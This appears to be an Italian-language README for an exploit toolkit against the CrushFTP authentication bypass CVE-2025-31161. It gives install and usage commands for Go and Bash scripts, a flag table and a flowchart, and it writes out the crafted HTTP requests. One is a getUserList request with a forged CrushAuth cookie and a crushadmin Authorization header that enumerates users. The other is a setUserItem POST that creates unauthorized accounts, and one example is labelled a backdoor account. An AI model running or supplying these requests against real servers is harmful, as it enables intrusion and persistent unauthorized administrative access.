
Exploit per il bypass dell'autenticazione di CrushFTP CVE-2025-31161: rileva i target vulnerabili, enumera gli utenti e crea account amministratore non autorizzati tramite richieste HTTP appositamente create in Go e Bash.
Un toolkit completo per sfruttare la vulnerabilità CVE-2025-31161, un bypass di autenticazione in CrushFTP che consente la creazione non autorizzata di account utente.
CVE-2025-31161 è una vulnerabilità critica di bypass dell'autenticazione in CrushFTP che consente agli aggressori di creare account utente non autorizzati senza una corretta autenticazione. Questa vulnerabilità esiste nella funzionalità di gestione utenti dell'interfaccia web.
-t, -p, -tuCrushFTP-auth-bypass-CVE-2025-31161/
├── README.md # This documentation
├── cve-2025-31161.go # Go implementation (recommended)
├── cve-2025-31161.sh # Bash implementation
└── LICENSE # MIT License
# Install Go (if not already installed)
sudo apt install golang-go
# or
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# Requires curl (usually pre-installed)
sudo apt install curl
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh
# Basic usage with shorthand flags
go run cve-2025-31161.go -t example.com -lu
# With custom port
go run cve-2025-31161.go -t example.com -p 8080 -lu
# Long form flags
go run cve-2025-31161.go --target_host example.com --port 8080 -lu
# Create new user (will prompt for username/password)
go run cve-2025-31161.go -t example.com -au
# With custom target user (default: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au
# Long form flags
go run cve-2025-31161.go --target_host example.com --target_user admin -au
# Basic usage
./cve-2025-31161.sh -t example.com -lu
# With custom port
./cve-2025-31161.sh -t example.com -p 8080 -lu
# Create new user
./cve-2025-31161.sh -t example.com -au
# With custom settings
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au
| Flag | Forma lunga | Descrizione | Predefinito |
|---|---|---|---|
-t | --target_host | Hostname o IP di destinazione (obbligatorio) | - |
-p | --port | Porta di destinazione | 80 |
-tu | --target_user | Utente target per lo sfruttamento | crushadmin |
-lu | --list-users | Elenca utenti esistenti | - |
-au | --add-user | Aggiungi nuovo utente (interattivo) | - |
--help | Mostra il messaggio di aiuto | - |
# Example 1: Enumerate users on target
go run cve-2025-31161.go -t ftp.example.htb -lu
# Example 2: Create backdoor account
go run cve-2025-31161.go -t ftp.example.htb -au
# Then enter: username: backdoor, password: P@ssw0rd123
# Example 3: Non-standard port with user enumeration
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu
# View help
./cve-2025-31161.sh --help
flowchart TD
A[Start Exploit] --> B[Check Target Connectivity]
B --> C{Target Reachable?}
C -->|No| D[Exit: Connection Failed]
C -->|Yes| E[Send getUserList Request]
E --> F{Response Contains OK?}
F -->|No| G[Exit: Not Vulnerable]
F -->|Yes| H[Target is Vulnerable!]
H --> I{Mode Selected?}
I -->|List Users -lu| J[Parse XML Response]
J --> K[Display User List]
K --> L[Exit: Success]
I -->|Add User -au| M[Prompt for Username]
M --> N[Prompt for Password]
N --> O[Send Warm-up Request]
O --> P[Craft User Creation Payload]
P --> Q[Send setUserItem Request]
Q --> R{User Created Successfully?}
R -->|Yes| S[Success: Account Created]
R -->|No| T[Failed: Exploitation Failed]
style A fill:#e1f5fe
style H fill:#c8e6c9
style K fill:#81c784
style S fill:#4caf50
style D fill:#ffcdd2
style G fill:#ffcdd2
style T fill:#ffcdd2
Lo script invia prima una richiesta getUserList per verificare se il target è vulnerabile:
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Se la risposta contiene <response_status>OK</response_status>, il target è vulnerabile.
Quando si utilizza il flag -lu, lo script analizza la risposta XML ed estrae i nomi utente:
<user_list type="vector">
<user_list_subitem>ben</user_list_subitem>
<user_list_subitem>crushadmin</user_list_subitem>
<user_list_subitem>default</user_list_subitem>
</user_list>
Output:
[+] Users:
- ben
- crushadmin
- default
Quando si utilizza il flag -au, lo script invia una richiesta setUserItem con un payload XML malevolo:
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded
command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If
Lo script verifica la presenza di <response_status>OK</response_status> nella risposta per confermare la creazione riuscita dell'utente.
La vulnerabilità deriva da controlli di autenticazione insufficienti nella funzionalità di gestione utenti dell'interfaccia web CrushFTP. L'applicazione accetta richieste di creazione utente senza convalidare correttamente i permessi del chiamante.